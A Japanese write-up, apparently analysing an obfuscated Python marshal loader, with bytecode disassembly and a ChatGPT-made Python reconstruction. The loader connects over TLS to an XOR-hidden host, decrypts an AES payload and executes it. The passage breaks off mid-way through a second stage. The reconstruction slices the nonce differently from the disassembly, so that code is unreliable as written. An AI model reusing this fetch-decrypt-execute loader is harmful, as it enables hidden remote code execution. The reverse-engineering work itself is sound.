ocals>.<genexpr>\xf3\x0f\x00\x00\x00GOE]\x04YSF\\CO\x04LSC\xa9\x01\xda\x0fserver_hostnamec\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02\xe9\r\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\t\x00\x00\x00r\x0f\x00\x00\x00\xf3\x0f\x00\x00\x00`hbz#~ta{dh#ktd\xe9\xbb\x01\x00\x00\xf3\x00\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00s\x00\x00\x00\xf30\x00\x00\x00\x81\x00|\x00]\x13}\x01|\x01d\x00A\x00\xa0\x00d\x01d\x02\xa0\x01d\x03d\x04\x84\x00d\x05D\x00\x83\x01\xa1\x01\xa1\x02V\x00\x01\x00q\x02d\x06S\x00)\x07\xe9T\x00\x00\x00\xe9\x01\x00\x00\x00r\x04\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02\xe9E\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\n\x00\x00\x00r\x0f\x00\x00\x00\xfa!meow.<locals>.<genexpr>.<genexpr>\xf3\x03\x00\x00\x00\',"N\xa9\x02\xda\x08to_bytes\xda\x04joinr\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\n\x00\x00\x00\xf3\x04\x00\x00\x00\x02\x80.\x00\xf3V\x00\x00\x00\x13\x11\x00t{\' 5 =7{\'!\'$=7=;!\'\x0b59;:3\x0b!\'t\x1c\x00\x00\x04{ezeY^\x1c;\' nt91;#z\'-8"=1z2-=Y^\x17;::17 =;:nt78;\'1Y^Y^T\xe9\x00\x10\x00\x00\xf3\x04\x00\x00\x00\r\n\r\n\xe9\x04\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00s\x00\x00\x00r\x18\x00\x00\x00)\x07\xe97\x00\x00\x00r\x1a\x00\x00\x00r\x04\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02r\x1b\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x13\x00\x00\x00r\x0f\x00\x00\x00r\x1c\x00\x00\x00r\x1d\x00\x00\x00Nr\x1e\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x13\x00\x00\x00r!\x00\x00\x00\xf3 \x00\x00\x004=\xf9\xcd\x87\xd9s;P\xae5\x02\xb9\xe8dYa\xf9\xe86L\xf8$8\x01u\x8aK\x17\xdd\xd8\xe9\xe9\x0b\x00\x00\x00\xe9\xf0\xff\xff\xff\xa9\x01\xda\x05nonce\xe9\xe0\xff\xff\xffc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00S\x00\x00\x00\xf3\x04\x00\x00\x00d\x00S\x00)\x01Nr\x0c\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x15\x00\x00\x00\xf3\x02\x00\x00\x00\x04\x00\xfa\x15meow.<locals>._______\xa9\x13\xda\x06socket\xda\x03ssl\xda\rCrypto.Cipherr\x03\x00\x00\x00\xda\x07marshal\xda\x16create_default_context\xda\x0bwrap_socket\xda\x07AF_INET\xda\x0bSOCK_STREAMr \x00\x00\x00\xda\x07connect\xda\x07sendall\xda\x04recv\xda\x05close\xda\x05index\xda\x03new\xda\x12decrypt_and_verify\xda\x05loads\xda\x08__code__\xa9\nr1\x00\x00\x00r2\x00\x00\x00r\x03\x00\x00\x00r4\x00\x00\x00\xda\x01_\xda\x03___\xda\x02__\xda\x05_____\xda\x06______\xda\x07_______r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x03\x00\x00\x00\xf3*\x00\x00\x00\x08\x01\x08\x01\x0c\x01\x08\x01.\x01\x1e\x01\x1a\x01\x04\x01\x02\x01\n\x01\x04\x01\x02\x01\x08\x01\x02\xfc\x08\x05\x16\x01@\x01\n\x01\x08\x01\x06\x01\n\x01');_.__code__=__;_(

アセンブリ表記にする。

import marshal
import dis

code = marshal.loads(b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00\xf3*\x01\x00\x00d\x01d\x00l\x00}\x00d\x01d\x00l\x01}\x01d\x01d\x02l\x02m\x03}\x02\x01\x00d\x01d\x00l\x04}\x03|\x01\xa0\x05\xa1\x00j\x06|\x00\xa0\x00|\x00j\x07|\x00j\x08\xa1\x02d\x03\xa0\td\x04d\x05\x84\x00d\x06D\x00\x83\x01\xa1\x01d\x07\x8d\x02}\x04|\x04\xa0\nd\x03\xa0\td\x08d\x05\x84\x00d\tD\x00\x83\x01\xa1\x01d\nf\x02\xa1\x01\x01\x00|\x04\xa0\x0bd\x0b\xa0\td\x0cd\x05\x84\x00d\rD\x00\x83\x01\xa1\x01\xa1\x01\x01\x00d\x0b}\x05\t\x00|\x04\xa0\x0cd\x0f\xa1\x01}\x06|\x06sPn\x05|\x05|\x067\x00}\x05qH|\x04\xa0\r\xa1\x00\x01\x00|\x05|\x05\xa0\x0ed\x10\xa1\x01d\x11\x17\x00d\x00\x85\x02\x19\x00}\x05|\x02j\x0fd\x0b\xa0\td\x12d\x05\x84\x00d\x13D\x00\x83\x01\xa1\x01d\x14|\x05d\x15d\x00\x85\x02\x19\x00d\x16\x8d\x03\xa0\x10|\x05d\x00d\x17\x85\x02\x19\x00|\x05d\x17d\x15\x85\x02\x19\x00\xa1\x02}\x07|\x03\xa0\x11|\x07\xa1\x01}\x08d\x18d\x19\x84\x00}\t|\x08|\t_\x12|\t\x83\x00\x01\x00d\x00S\x00)\x1aN\xe9\x00\x00\x00\x00\xa9\x01\xda\x03AES\xda\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00\xf3\x1c\x00\x00\x00\x81\x00|\x00]\t}\x01t\x00|\x01d\x00A\x00\x83\x01V\x00\x01\x00q\x02d\x01S\x00)\x02\xe9*\x00\x00\x00N\xa9\x01\xda\x03chr\xa9\x02\xda\x02.0\xda\x01i\xa9\x00r\x0c\x00\x00\x00\xfa\x08<module>\xda\x01f\x08\x00\x00\x00\xf3\x04\x00\x00\x00\x02\x80\x1a\x00\xfa\x17meow.<locals>.<genexpr>\xf3\x0f\x00\x00\x00GOE]\x04YSF\\CO\x04LSC\xa9\x01\xda\x0fserver_hostnamec\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02\xe9\r\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\t\x00\x00\x00r\x0f\x00\x00\x00\xf3\x0f\x00\x00\x00`hbz#~ta{dh#ktd\xe9\xbb\x01\x00\x00\xf3\x00\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00s\x00\x00\x00\xf30\x00\x00\x00\x81\x00|\x00]\x13}\x01|\x01d\x00A\x00\xa0\x00d\x01d\x02\xa0\x01d\x03d\x04\x84\x00d\x05D\x00\x83\x01\xa1\x01\xa1\x02V\x00\x01\x00q\x02d\x06S\x00)\x07\xe9T\x00\x00\x00\xe9\x01\x00\x00\x00r\x04\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02\xe9E\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\n\x00\x00\x00r\x0f\x00\x00\x00\xfa!meow.<locals>.<genexpr>.<genexpr>\xf3\x03\x00\x00\x00\',"N\xa9\x02\xda\x08to_bytes\xda\x04joinr\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\n\x00\x00\x00\xf3\x04\x00\x00\x00\x02\x80.\x00\xf3V\x00\x00\x00\x13\x11\x00t{\' 5 =7{\'!\'$=7=;!\'\x0b59;:3\x0b!\'t\x1c\x00\x00\x04{ezeY^\x1c;\' nt91;#z\'-8"=1z2-=Y^\x17;::17 =;:nt78;\'1Y^Y^T\xe9\x00\x10\x00\x00\xf3\x04\x00\x00\x00\r\n\r\n\xe9\x04\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00s\x00\x00\x00r\x18\x00\x00\x00)\x07\xe97\x00\x00\x00r\x1a\x00\x00\x00r\x04\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02r\x1b\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x13\x00\x00\x00r\x0f\x00\x00\x00r\x1c\x00\x00\x00r\x1d\x00\x00\x00Nr\x1e\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x13\x00\x00\x00r!\x00\x00\x00\xf3 \x00\x00\x004=\xf9\xcd\x87\xd9s;P\xae5\x02\xb9\xe8dYa\xf9\xe86L\xf8$8\x01u\x8aK\x17\xdd\xd8\xe9\xe9\x0b\x00\x00\x00\xe9\xf0\xff\xff\xff\xa9\x01\xda\x05nonce\xe9\xe0\xff\xff\xffc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00S\x00\x00\x00\xf3\x04\x00\x00\x00d\x00S\x00)\x01Nr\x0c\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x15\x00\x00\x00\xf3\x02\x00\x00\x00\x04\x00\xfa\x15meow.<locals>._______\xa9\x13\xda\x06socket\xda\x03ssl\xda\rCrypto.Cipherr\x03\x00\x00\x00\xda\x07marshal\xda\x16create_default_context\xda\x0bwrap_socket\xda\x07AF_INET\xda\x0bSOCK_STREAMr \x00\x00\x00\xda\x07connect\xda\x07sendall\xda\x04recv\xda\x05close\xda\x05index\xda\x03new\xda\x12decrypt_and_verify\xda\x05loads\xda\x08__code__\xa9\nr1\x00\x00\x00r2\x00\x00\x00r\x03\x00\x00\x00r4\x00\x00\x00\xda\x01_\xda\x03___\xda\x02__\xda\x05_____\xda\x06______\xda\x07_______r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\x03\x00\x00\x00\xf3*\x00\x00\x00\x08\x01\x08\x01\x0c\x01\x08\x01.\x01\x1e\x01\x1a\x01\x04\x01\x02\x01\n\x01\x04\x01\x02\x01\x08\x01\x02\xfc\x08\x05\x16\x01@\x01\n\x01\x08\x01\x06\x01\n\x01')

dis.dis(code)

この結果、以下のようになった。

  4           0 LOAD_CONST               1 (0)
              2 LOAD_CONST               0 (None)
              4 IMPORT_NAME              0 (socket)
              6 STORE_FAST               0 (socket)

  5           8 LOAD_CONST               1 (0)
             10 LOAD_CONST               0 (None)
             12 IMPORT_NAME              1 (ssl)
             14 STORE_FAST               1 (ssl)

  6          16 LOAD_CONST               1 (0)
             18 LOAD_CONST               2 (('AES',))
             20 IMPORT_NAME              2 (Crypto.Cipher)
             22 IMPORT_FROM              3 (AES)
             24 STORE_FAST               2 (AES)
             26 POP_TOP

  7          28 LOAD_CONST               1 (0)
             30 LOAD_CONST               0 (None)
             32 IMPORT_NAME              4 (marshal)
             34 STORE_FAST               3 (marshal)

  8          36 LOAD_FAST                1 (ssl)
             38 LOAD_METHOD              5 (create_default_context)
             40 CALL_METHOD              0
             42 LOAD_ATTR                6 (wrap_socket)
             44 LOAD_FAST                0 (socket)
             46 LOAD_METHOD              0 (socket)
             48 LOAD_FAST                0 (socket)
             50 LOAD_ATTR                7 (AF_INET)
             52 LOAD_FAST                0 (socket)
             54 LOAD_ATTR                8 (SOCK_STREAM)
             56 CALL_METHOD              2
             58 LOAD_CONST               3 ('')
             60 LOAD_METHOD              9 (join)
             62 LOAD_CONST               4 (<code object f at 0x000001D957742C30, file "<module>", line 8>)
             64 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
             66 MAKE_FUNCTION            0
             68 LOAD_CONST               6 (b'GOE]\x04YSF\\CO\x04LSC')
             70 GET_ITER
             72 CALL_FUNCTION            1
             74 CALL_METHOD              1
             76 LOAD_CONST               7 (('server_hostname',))
             78 CALL_FUNCTION_KW         2
             80 STORE_FAST               4 (_)

  9          82 LOAD_FAST                4 (_)
             84 LOAD_METHOD             10 (connect)
             86 LOAD_CONST               3 ('')
             88 LOAD_METHOD              9 (join)
             90 LOAD_CONST               8 (<code object f at 0x000001D957741C60, file "<module>", line 9>)
             92 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
             94 MAKE_FUNCTION            0
             96 LOAD_CONST               9 (b'`hbz#~ta{dh#ktd')
             98 GET_ITER
            100 CALL_FUNCTION            1
            102 CALL_METHOD              1
            104 LOAD_CONST              10 (443)
            106 BUILD_TUPLE              2
            108 CALL_METHOD              1
            110 POP_TOP

 10         112 LOAD_FAST                4 (_)
            114 LOAD_METHOD             11 (sendall)
            116 LOAD_CONST              11 (b'')
            118 LOAD_METHOD              9 (join)
            120 LOAD_CONST              12 (<code object f at 0x000001D957742FA0, file "<module>", line 10>)
            122 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            124 MAKE_FUNCTION            0
            126 LOAD_CONST              13 (b'\x13\x11\x00t{\' 5 =7{\'!\'$=7=;!\'\x0b59;:3\x0b!\'t\x1c\x00\x00\x04{ezeY^\x1c;\' nt91;#z\'-8"=1z2-=Y^\x17;::17 =;:nt78;\'1Y^Y^')
            128 GET_ITER
            130 CALL_FUNCTION            1
            132 CALL_METHOD              1
            134 CALL_METHOD              1
            136 POP_TOP

 11         138 LOAD_CONST              11 (b'')
            140 STORE_FAST               5 (___)

 12         142 NOP

 13     >>  144 LOAD_FAST                4 (_)
            146 LOAD_METHOD             12 (recv)
            148 LOAD_CONST              15 (4096)
            150 CALL_METHOD              1
            152 STORE_FAST               6 (__)

 14         154 LOAD_FAST                6 (__)
            156 POP_JUMP_IF_TRUE        80 (to 160)

 15         158 JUMP_FORWARD             5 (to 170)

 16     >>  160 LOAD_FAST                5 (___)
            162 LOAD_FAST                6 (__)
            164 INPLACE_ADD
            166 STORE_FAST               5 (___)

 12         168 JUMP_ABSOLUTE           72 (to 144)

 17     >>  170 LOAD_FAST                4 (_)
            172 LOAD_METHOD             13 (close)
            174 CALL_METHOD              0
            176 POP_TOP

 18         178 LOAD_FAST                5 (___)
            180 LOAD_FAST                5 (___)
            182 LOAD_METHOD             14 (index)
            184 LOAD_CONST              16 (b'\r\n\r\n')
            186 CALL_METHOD              1
            188 LOAD_CONST              17 (4)
            190 BINARY_ADD
            192 LOAD_CONST               0 (None)
            194 BUILD_SLICE              2
            196 BINARY_SUBSCR
            198 STORE_FAST               5 (___)

 19         200 LOAD_FAST                2 (AES)
            202 LOAD_ATTR               15 (new)
            204 LOAD_CONST              11 (b'')
            206 LOAD_METHOD              9 (join)
            208 LOAD_CONST              18 (<code object f at 0x000001D957743100, file "<module>", line 19>)
            210 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            212 MAKE_FUNCTION            0
            214 LOAD_CONST              19 (b'4=\xf9\xcd\x87\xd9s;P\xae5\x02\xb9\xe8dYa\xf9\xe86L\xf8$8\x01u\x8aK\x17\xdd\xd8\xe9')
            216 GET_ITER
            218 CALL_FUNCTION            1
            220 CALL_METHOD              1
            222 LOAD_CONST              20 (11)
            224 LOAD_FAST                5 (___)
            226 LOAD_CONST              21 (-16)
            228 LOAD_CONST               0 (None)
            230 BUILD_SLICE              2
            232 BINARY_SUBSCR
            234 LOAD_CONST              22 (('nonce',))
            236 CALL_FUNCTION_KW         3
            238 LOAD_METHOD             16 (decrypt_and_verify)
            240 LOAD_FAST                5 (___)
            242 LOAD_CONST               0 (None)
            244 LOAD_CONST              23 (-32)
            246 BUILD_SLICE              2
            248 BINARY_SUBSCR
            250 LOAD_FAST                5 (___)
            252 LOAD_CONST              23 (-32)
            254 LOAD_CONST              21 (-16)
            256 BUILD_SLICE              2
            258 BINARY_SUBSCR
            260 CALL_METHOD              2
            262 STORE_FAST               7 (_____)

 20         264 LOAD_FAST                3 (marshal)
            266 LOAD_METHOD             17 (loads)
            268 LOAD_FAST                7 (_____)
            270 CALL_METHOD              1
            272 STORE_FAST               8 (______)

 21         274 LOAD_CONST              24 (<code object f at 0x000001D957743310, file "<module>", line 21>)
            276 LOAD_CONST              25 ('meow.<locals>._______')
            278 MAKE_FUNCTION            0
            280 STORE_FAST               9 (_______)

 22         282 LOAD_FAST                8 (______)
            284 LOAD_FAST                9 (_______)
            286 STORE_ATTR              18 (__code__)

 23         288 LOAD_FAST                9 (_______)
            290 CALL_FUNCTION            0
            292 POP_TOP
            294 LOAD_CONST               0 (None)
            296 RETURN_VALUE

Disassembly of <code object f at 0x000001D957742C30, file "<module>", line 8>:
              0 GEN_START                0

  8           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (42)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001D957741C60, file "<module>", line 9>:
              0 GEN_START                0

  9           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (13)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001D957742FA0, file "<module>", line 10>:
              0 GEN_START                0

 10           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                19 (to 44)
              6 STORE_FAST               1 (i)
              8 LOAD_FAST                1 (i)
             10 LOAD_CONST               0 (84)
             12 BINARY_XOR
             14 LOAD_METHOD              0 (to_bytes)
             16 LOAD_CONST               1 (1)
             18 LOAD_CONST               2 ('')
             20 LOAD_METHOD              1 (join)
             22 LOAD_CONST               3 (<code object f at 0x000001D957742AD0, file "<module>", line 10>)
             24 LOAD_CONST               4 ('meow.<locals>.<genexpr>.<genexpr>')
             26 MAKE_FUNCTION            0
             28 LOAD_CONST               5 (b'\',"')
             30 GET_ITER
             32 CALL_FUNCTION            1
             34 CALL_METHOD              1
             36 CALL_METHOD              2
             38 YIELD_VALUE
             40 POP_TOP
             42 JUMP_ABSOLUTE            2 (to 4)
        >>   44 LOAD_CONST               6 (None)
             46 RETURN_VALUE

Disassembly of <code object f at 0x000001D957742AD0, file "<module>", line 10>:
              0 GEN_START                0

 10           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (69)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001D957743100, file "<module>", line 19>:
              0 GEN_START                0

 19           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                19 (to 44)
              6 STORE_FAST               1 (i)
              8 LOAD_FAST                1 (i)
             10 LOAD_CONST               0 (55)
             12 BINARY_XOR
             14 LOAD_METHOD              0 (to_bytes)
             16 LOAD_CONST               1 (1)
             18 LOAD_CONST               2 ('')
             20 LOAD_METHOD              1 (join)
             22 LOAD_CONST               3 (<code object f at 0x000001D957743050, file "<module>", line 19>)
             24 LOAD_CONST               4 ('meow.<locals>.<genexpr>.<genexpr>')
             26 MAKE_FUNCTION            0
             28 LOAD_CONST               5 (b'\',"')
             30 GET_ITER
             32 CALL_FUNCTION            1
             34 CALL_METHOD              1
             36 CALL_METHOD              2
             38 YIELD_VALUE
             40 POP_TOP
             42 JUMP_ABSOLUTE            2 (to 4)
        >>   44 LOAD_CONST               6 (None)
             46 RETURN_VALUE

Disassembly of <code object f at 0x000001D957743050, file "<module>", line 19>:
              0 GEN_START                0

 19           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (69)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x000001D957743310, file "<module>", line 21>:
 21           0 LOAD_CONST               0 (None)
              2 RETURN_VALU

このアセンブリに対して、ChatGPTにPythonコードに復元してもらった。

import socket
import ssl
from Crypto.Cipher import AES
import marshal

# --- 文字列デコード関数 ---
def xor_str(data, key):
    return ''.join(chr(x ^ key) for x in data)

def xor_bytes(data, key):
    return b''.join((x ^ key).to_bytes(1, 'big') for x in data)

# --- ソケット作成(SSL) ---
context = ssl.create_default_context()
s = context.wrap_socket(
    socket.socket(socket.AF_INET, socket.SOCK_STREAM),
    server_hostname=xor_str(b'GOE]\x04YSF\\CO\x04LSC', 42)
)

# --- 接続 ---
host = xor_str(b'`hbz#~ta{dh#ktd', 13)
port = 443
s.connect((host, port))

# --- データ送信 ---
payload = xor_bytes(
    b'\x13\x11\x00t{\' 5 =7{\'!\'$=7=;!\'\x0b59;:3\x0b!\'t\x1c\x00\x00\x04{ezeY^\x1c;\' nt91;#z\'-8"=1z2-=Y^\x17;::17 =;:nt78;\'1Y^Y^',
    84
)
s.sendall(payload)

# --- 受信 ---
data = b''
while True:
    chunk = s.recv(4096)
    if not chunk:
        break
    data += chunk

s.close()

# --- HTTPヘッダ除去 ---
data = data[data.index(b'\r\n\r\n') + 4:]

# --- AES復号 ---
key = xor_bytes(
    b'4=\xf9\xcd\x87\xd9s;P\xae5\x02\xb9\xe8dYa\xf9\xe86L\xf8$8\x01u\x8aK\x17\xdd\xd8\xe9',
    55
)

cipher = AES.new(
    key,
    11,  # mode (おそらく AES.MODE_GCM or EAX)
    nonce=data[:-16]
)

plaintext = cipher.decrypt_and_verify(
    data[:-32],
    data[-32:-16]
)

# --- marshalでコード復元 ---
code = marshal.loads(plaintext)

# --- ダミー関数に仕込んで実行 ---
def dummy():
    pass

dummy.__code__ = code
dummy()

plaintextは再びmarshalコードになるので、アセンブリにする。

import marshal
import dis

code = marshal.loads(b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00\xf3\x86\x01\x00\x00d\x01d\x00l\x00}\x00d\x01d\x00l\x01}\x01d\x01d\x02l\x02m\x03}\x02\x01\x00d\x01d\x00l\x04}\x03|\x01\xa0\x05\xa1\x00j\x06|\x00\xa0\x00|\x00j\x07|\x00j\x08\xa1\x02d\x03\xa0\td\x04d\x05\x84\x00d\x06D\x00\x83\x01\xa1\x01d\x07\x8d\x02}\x04|\x04\xa0\nd\x03\xa0\td\x08d\x05\x84\x00d\tD\x00\x83\x01\xa1\x01d\nf\x02\xa1\x01\x01\x00|\x04\xa0\x0bd\x0b\xa0\td\x0cd\x05\x84\x00d\rD\x00\x83\x01\xa1\x01\xa1\x01\x01\x00d\x0b}\x05\t\x00|\x04\xa0\x0cd\x0f\xa1\x01}\x06|\x06sPn\x05|\x05|\x067\x00}\x05qH|\x04\xa0\r\xa1\x00\x01\x00|\x05|\x05\xa0\x0ed\x10\xa1\x01d\x00\x85\x02\x19\x00}\x05|\x02\xa0\x0f|\x03\xa0\x10|\x05\xa1\x01\xa1\x01}\x07g\x00d\x11\xa2\x01}\x08t\x11d\x03\xa0\td\x12d\x05\x84\x00d\x13D\x00\x83\x01\xa1\x01\x83\x01}\tt\x12|\t\x83\x01t\x12|\x08\x83\x01k\x03r\x91t\x13d\x03\xa0\td\x14d\x05\x84\x00d\x15D\x00\x83\x01\xa1\x01\x83\x01\x01\x00t\x14\x83\x00\x01\x00t\x15|\t\x83\x01D\x00]\'\\\x02}\n}\x0b|\x07\xa0\x16|\x08|\n\x19\x00\xa1\x01\\\x03}\x0c}\r}\x0e|\x0c|\rA\x00|\x0eA\x00t\x17|\x0b\x83\x01k\x03r\xbct\x13d\x03\xa0\td\x16d\x05\x84\x00d\x15D\x00\x83\x01\xa1\x01\x83\x01\x01\x00t\x14\x83\x00\x01\x00q\x95|\x07\xa0\x18\xa1\x00\x01\x00d\x00S\x00)\x17N\xe9\x00\x00\x00\x00\xa9\x01\xda\x05Image\xda\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00\xf3\x1c\x00\x00\x00\x81\x00|\x00]\t}\x01t\x00|\x01d\x00A\x00\x83\x01V\x00\x01\x00q\x02d\x01S\x00)\x02\xe9*\x00\x00\x00N\xa9\x01\xda\x03chr\xa9\x02\xda\x02.0\xda\x01i\xa9\x00r\x0c\x00\x00\x00\xfa\x08<module>\xda\x01f\x08\x00\x00\x00\xf3\x04\x00\x00\x00\x02\x80\x1a\x00\xfa\x17meow.<locals>.<genexpr>\xf3\x0f\x00\x00\x00GOE]\x04YSF\\CO\x04LSC\xa9\x01\xda\x0fserver_hostnamec\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02\xe9\r\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\t\x00\x00\x00r\x0f\x00\x00\x00\xf3\x0f\x00\x00\x00`hbz#~ta{dh#ktd\xe9\xbb\x01\x00\x00\xf3\x00\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00s\x00\x00\x00\xf30\x00\x00\x00\x81\x00|\x00]\x13}\x01|\x01d\x00A\x00\xa0\x00d\x01d\x02\xa0\x01d\x03d\x04\x84\x00d\x05D\x00\x83\x01\xa1\x01\xa1\x02V\x00\x01\x00q\x02d\x06S\x00)\x07\xe9C\x00\x00\x00\xe9\x01\x00\x00\x00r\x04\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00r\x05\x00\x00\x00)\x02\xe9E\x00\x00\x00Nr\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\n\x00\x00\x00r\x0f\x00\x00\x00\xfa!meow.<locals>.<genexpr>.<genexpr>\xf3\x03\x00\x00\x00\',"N\xa9\x02\xda\x08to_bytes\xda\x04joinr\t\x00\x00\x00r\x0c\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00\n\x00\x00\x00\xf3\x04\x00\x00\x00\x02\x80.\x00\xf3U\x00\x00\x00\x04\x06\x17cl07"7* l1*70& \x1c "7$*1/m3-$c\x0b\x17\x17\x13lrmrNI\x0b,07yc.&,4m0:/5*&m%:*NI\x00,--& 7*,-yc 